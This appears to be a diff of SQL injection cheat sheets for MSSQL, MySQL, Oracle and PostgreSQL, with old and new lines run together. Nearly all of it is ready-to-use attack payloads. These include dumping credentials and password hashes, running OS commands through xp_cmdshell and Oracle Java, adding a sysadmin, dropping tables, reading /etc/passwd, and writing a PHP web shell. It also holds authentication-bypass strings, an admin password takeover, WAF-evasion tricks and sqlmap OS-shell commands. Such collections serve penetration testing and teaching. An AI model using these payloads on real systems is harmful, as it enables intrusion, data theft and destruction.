SELECT name FROM master..sysobjects WHERE xtype = U; — use xtype = V for views SELECT name FROM master..sysobjects WHERE xtype = U; — use xtype = V for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = U; SELECT name FROM someotherdb..sysobjects WHERE xtype = U;
@ -33,8 +38,8 @@ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master.
SELECT table_catalog, table_name FROM information_schema.columns SELECT table_catalog, table_name FROM information_schema.columns
``` ```
## MSSQL User Password ## MSSQL User Password
```sql ```sql
MSSQL 2000: MSSQL 2000:
SELECT name, password FROM master..sysxlogins SELECT name, password FROM master..sysxlogins
@ -46,6 +51,7 @@ SELECT name + - + master.sys.fn_varbintohexstr(password_hash) from master.
``` ```
## MSSQL Error based ## MSSQL Error based
```sql ```sql
For integer inputs : convert(int,@@version) For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int) For integer inputs : cast((SELECT @@version) as int)
@ -54,8 +60,8 @@ For string inputs : ' + convert(int,@@version) + '
For string inputs : ' + cast((SELECT @@version) as int) + ' For string inputs : ' + cast((SELECT @@version) as int) + '
``` ```
## MSSQL Blind based ## MSSQL Blind based
```sql ```sql
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
@ -64,6 +70,7 @@ SELECT message FROM data WHERE row = 1 and message like 't%'
``` ```
## MSSQL Time based ## MSSQL Time based
```sql ```sql
ProductID=1;waitfor delay '0:0:10'-- ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'-- ProductID=1);waitfor delay '0:0:10'--
@ -75,18 +82,23 @@ IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' com
``` ```
## MSSQL Stacked Query ## MSSQL Stacked Query
Use a semi-colon ";" to add another query Use a semi-colon ";" to add another query
```sql ```sql
ProductID=1; DROP members-- ProductID=1; DROP members--
``` ```
## MSSQL Command execution ## MSSQL Command execution
```sql ```sql
EXEC xp_cmdshell "net user"; EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:' EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1' EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'
``` ```
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005) If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
```sql ```sql
EXEC sp_configure 'show advanced options',1 EXEC sp_configure 'show advanced options',1
RECONFIGURE RECONFIGURE
@ -95,11 +107,13 @@ RECONFIGURE
``` ```
## MSSQL Make user DBA (DB admin) ## MSSQL Make user DBA (DB admin)
```sql ```sql
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
``` ```
## Thanks to ## Thanks to
* [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* [Sqlinjectionwiki - MSSQL](http://www.sqlinjectionwiki.com/categories/1/mssql-sql-injection-cheat-sheet/) * [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* [Error Based - SQL Injection ](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL).pdf) * [Sqlinjectionwiki - MSSQL](http://www.sqlinjectionwiki.com/categories/1/mssql-sql-injection-cheat-sheet/)
* [Error Based - SQL Injection ](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL).pdf)

View File

@ -1,6 +1,7 @@
# MYSQL Injection # MYSQL Injection
## MySQL Comment ## MySQL
```sql ```sql
# MYSQL Comment # MYSQL Comment
/* MYSQL Comment */ /* MYSQL Comment */
@ -9,7 +10,9 @@
``` ```
## Detect columns number ## Detect columns number
Using a simple ORDER Using a simple ORDER
```sql ```sql
order by 1 order by 1
order by 2 order by 2
@ -19,6 +22,7 @@ order by XXX
``` ```
## MySQL Union Based ## MySQL Union Based
```sql ```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@ -27,12 +31,14 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
``` ```
## MySQL Error Based - Basic ## MySQL Error Based - Basic
```sql ```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+' '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
``` ```
## MYSQL Error Based - UpdateXML function ## MYSQL Error Based - UpdateXML function
```sql ```sql
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)- AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)-- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
@ -42,12 +48,14 @@ AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) F
``` ```
Shorter to read: Shorter to read:
```sql ```sql
' and updatexml(null,concat(0x0a,version()),null)-- - ' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- - ' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
``` ```
## MYSQL Error Based - Extractvalue function ## MYSQL Error Based - Extractvalue function
```sql ```sql
AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))-- AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))-- AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
@ -57,7 +65,9 @@ AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)
``` ```
## MYSQL Blind using a conditional statement ## MYSQL Blind using a conditional statement
TRUE: `if @@version starts with a 5`: TRUE: `if @@version starts with a 5`:
```sql ```sql
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response: Response:
@ -65,6 +75,7 @@ HTTP/1.1 500 Internal Server Error
``` ```
False: `if @@version starts with a 4`: False: `if @@version starts with a 4`:
```sql ```sql
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2 2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response: Response:
@ -72,6 +83,7 @@ HTTP/1.1 200 OK
``` ```
## MYSQL Blind with MAKE_SET ## MYSQL Blind with MAKE_SET
```sql ```sql
AND MAKE_SET(YOLO<(SELECT(length(version()))),1) AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1) AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
@ -80,29 +92,32 @@ AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
``` ```
## MYSQL Time Based ## MYSQL Time Based
```sql ```sql
+BENCHMARK(40000000,SHA1(1337))+ +BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B' '%2Bbenchmark(3200,SHA1(1))%2B'
' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 ' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1 AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1
RLIKE SLEEP([SLEEPTIME]) RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
``` ```
## MYSQL Read content of a file ## MYSQL Read content of a file
```sql ```sql
' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- ' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
``` ```
## MySQL DIOS - Dump in One Shot ## MySQL DIOS - Dump in One Shot
```sql ```sql
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)# (select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)# (select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#
``` ```
## MYSQL DROP SHELL ## MYSQL DROP SHELL
```sql ```sql
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php" SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?> SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>

View File

@ -1,11 +1,13 @@
# Oracle SQL Injection # Oracle SQL Injection
## Oracle SQL version ## Oracle SQL version
```sql ```sql
SELECT user FROM dual UNION SELECT * FROM v$version SELECT user FROM dual UNION SELECT * FROM v$version
``` ```
## Oracle SQL database name ## Oracle SQL database name
```sql ```sql
SELECT global_name FROM global_name; SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE; SELECT name FROM V$DATABASE;
@ -14,17 +16,20 @@ SELECT SYS.DATABASE_NAME FROM DUAL;
``` ```
## Oracle SQL List Databases ## Oracle SQL List Databases
```sql ```sql
SELECT DISTINCT owner FROM all_tables; SELECT DISTINCT owner FROM all_tables;
``` ```
## Oracle SQL List Column ## Oracle SQL List Column
```sql ```sql
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo'; SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
``` ```
## Oracle SQL List Tables ## Oracle SQL List Tables
```sql ```sql
SELECT table_name FROM all_tables; SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables; SELECT owner, table_name FROM all_tables;
@ -39,8 +44,7 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
| CTXSYS.DRITHSX.SN | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual | | CTXSYS.DRITHSX.SN | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
| Invalid XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual | | Invalid XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
| Invalid XML | SELECT to_char(dbms_xmlgen.getxml('select "'&#124;&#124;(select user from sys.dual)&#124;&#124;'" FROM sys.dual')) FROM dual | | Invalid XML | SELECT to_char(dbms_xmlgen.getxml('select "'&#124;&#124;(select user from sys.dual)&#124;&#124;'" FROM sys.dual')) FROM dual |
| Invalid XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username &#124;&#124; ',')),'/s').getstringval(),',') FROM all_users | | Invalid XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username &#124;&#124; ',')),'/s').getstringval(),',') FROM all_users |
## Oracle SQL Blind ## Oracle SQL Blind
@ -53,11 +57,13 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
| First letter of first message is t | SELEC message FROM log_table WHERE rownum=1 AND message LIKE 't%'; | | First letter of first message is t | SELEC message FROM log_table WHERE rownum=1 AND message LIKE 't%'; |
## Oracle SQL Time based ## Oracle SQL Time based
```sql ```sql
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/ AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/
``` ```
## Oracle SQL Command execution ## Oracle SQL Command execution
```sql ```sql
/* create Java class */ /* create Java class */
BEGIN BEGIN
@ -73,6 +79,7 @@ END;
/* run OS command */ /* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
``` ```
or (hex encoded) or (hex encoded)
```sql ```sql
@ -85,4 +92,5 @@ SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
``` ```
## Thanks to ## Thanks to
* [Heavily taken inspired by - NetSpi SQL Wiki ](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)
* [Heavily taken inspired by - NetSpi SQL Wiki](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)

View File

@ -1,13 +1,15 @@
# POSTGRESQL # POSTGRESQL
## PostgreSQL Comments ## PostgreSQL Comments
```
```sql
-- --
/**/ /**/
``` ```
## PostgreSQL Error Based - Basic ## PostgreSQL Error Based - Basic
```
```sql
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC) ,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
@ -15,7 +17,8 @@
``` ```
## PostgreSQL Time Based ## PostgreSQL Time Based
```
```sql
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
``` ```

View File

@ -1,7 +1,9 @@
# SQL injection # SQL injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application
## Summary ## Summary
* [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/MSSQL%20Injection.md) * [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/MSSQL%20Injection.md)
* [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md) * [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md)
* [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/OracleSQL%20Injection.md) * [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/OracleSQL%20Injection.md)
@ -16,10 +18,11 @@ A SQL injection attack consists of insertion or "injection" of a SQL query via t
* [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update) * [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update)
* [WAF Bypass](#waf-bypass) * [WAF Bypass](#waf-bypass)
## Entry point detection ## Entry point detection
Detection of an SQL injection entry point Detection of an SQL injection entry point
Simple characters Simple characters
```sql ```sql
' '
%27 %27
@ -34,12 +37,14 @@ Wildcard (*)
``` ```
Multiple encoding Multiple encoding
```sql ```sql
%%2727 %%2727
%25%27 %25%27
``` ```
Merging characters Merging characters
```sql ```sql
`+HERP `+HERP
'||'DERP '||'DERP
@ -50,7 +55,8 @@ Merging characters
``` ```
Logic Testing Logic Testing
```
```sql
page.asp?id=1 or 1=1 -- true page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true page.asp?id=1" or 1=1 -- true
@ -58,7 +64,8 @@ page.asp?id=1 and 1=2 -- false
``` ```
Weird characters Weird characters
```
```sql
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (") transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
@ -66,6 +73,7 @@ transformed into U+0027 APOSTROPHE (')
``` ```
## DBMS Identification ## DBMS Identification
```c ```c
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"],
@ -94,27 +102,31 @@ transformed into U+0027 APOSTROPHE (')
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
``` ```
## SQL injection using SQLmap ## SQL injection using SQLmap
Basic arguments for SQLmap Basic arguments for SQLmap
```
```powershell
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
``` ```
Custom injection in UserAgent/Header/Referer/Cookie Custom injection in UserAgent/Header/Referer/Cookie
```
```powershell
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*" python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*' The injection is located at the '*'
``` ```
Second order injection Second order injection
```
```powershell
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
``` ```
Shell Shell
```
```powershell
SQL Shell SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
@ -126,12 +138,14 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
``` ```
Using suffix to tamper the injection Using suffix to tamper the injection
```
```powershell
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
``` ```
General tamper option and tamper's list General tamper option and tamper's list
```
```powershell
tamper=name_of_the_tamper tamper=name_of_the_tamper
``` ```
@ -184,6 +198,7 @@ tamper=name_of_the_tamper
|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'| |xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'|
## Authentication bypass ## Authentication bypass
```sql ```sql
'-' '-'
' ' ' '
@ -277,19 +292,22 @@ admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
``` ```
## Polyglot injection (multicontext) ## Polyglot injection (multicontext)
```sql ```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
``` ```
## Second order injection ## Routed injection
```sql ```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
``` ```
## Insert Statement - ON DUPLICATE KEY UPDATE ## Insert Statement - ON DUPLICATE KEY UPDATE
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by: ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
```sql ```sql
Inject using payload: Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
@ -303,10 +321,10 @@ Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”! After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
``` ```
## WAF Bypass ## WAF Bypass
No Space (%20) - bypass using whitespace alternatives No Space (%20) - bypass using whitespace alternatives
```sql ```sql
?id=1%09and%091=1%09-- ?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D-- ?id=1%0Dand%0D1=1%0D--
@ -317,16 +335,19 @@ No Space (%20) - bypass using whitespace alternatives
``` ```
No Whitespace - bypass using comments No Whitespace - bypass using comments
```sql ```sql
?id=1/*comment*/and/**/1=1/**/-- ?id=1/*comment*/and/**/1=1/**/--
``` ```
No Whitespace - bypass using parenthesis No Whitespace - bypass using parenthesis
```sql ```sql
?id=(1)and(1)=(1)-- ?id=(1)and(1)=(1)--
``` ```
No Comma - bypass using OFFSET, FROM and JOIN No Comma - bypass using OFFSET, FROM and JOIN
```sql ```sql
LIMIT 0,1 -> LIMIT 1 OFFSET 0 LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@ -334,6 +355,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
``` ```
Blacklist using keywords - bypass using uppercase/lowercase Blacklist using keywords - bypass using uppercase/lowercase
```sql ```sql
?id=1 AND 1=1# ?id=1 AND 1=1#
?id=1 AnD 1=1# ?id=1 AnD 1=1#
@ -341,6 +363,7 @@ Blacklist using keywords - bypass using uppercase/lowercase
``` ```
Blacklist using keywords case insensitive - bypass using an equivalent operator Blacklist using keywords case insensitive - bypass using an equivalent operator
```sql ```sql
AND -> && AND -> &&
OR -> || OR -> ||
@ -350,6 +373,7 @@ WHERE -> HAVING
``` ```
Information_schema.tables Alternative Information_schema.tables Alternative
```sql ```sql
select * from mysql.innodb_table_stats; select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+ +----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
@ -367,10 +391,10 @@ mysql> show tables in dvwa;
| guestbook | | guestbook |
| users | | users |
+----------------+ +----------------+
``` ```
Version Alternative Version Alternative
```sql ```sql
mysql> select @@innodb_version; mysql> select @@innodb_version;
+------------------+ +------------------+
@ -394,37 +418,36 @@ mysql> mysql> select version();
+-------------------------+ +-------------------------+
``` ```
## Thanks to - Other resources ## Thanks to - Other resources
* Detect SQLi * Detect SQLi
- [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/) * [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
- [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/) * [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/)
* MySQL: * MySQL:
- [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) * [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
- [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/) * [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
- [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/) * [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
- [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection) * [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection)
* MSSQL: * MSSQL:
- [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php) * [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php)
- [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) * [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* ORACLE: * ORACLE:
- [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet) * [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
* POSTGRESQL: * POSTGRESQL:
- [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet) * [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
* Others * Others
- [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) * [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
- [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) * [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet) * [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
- [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet) * [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
- [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet) * [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
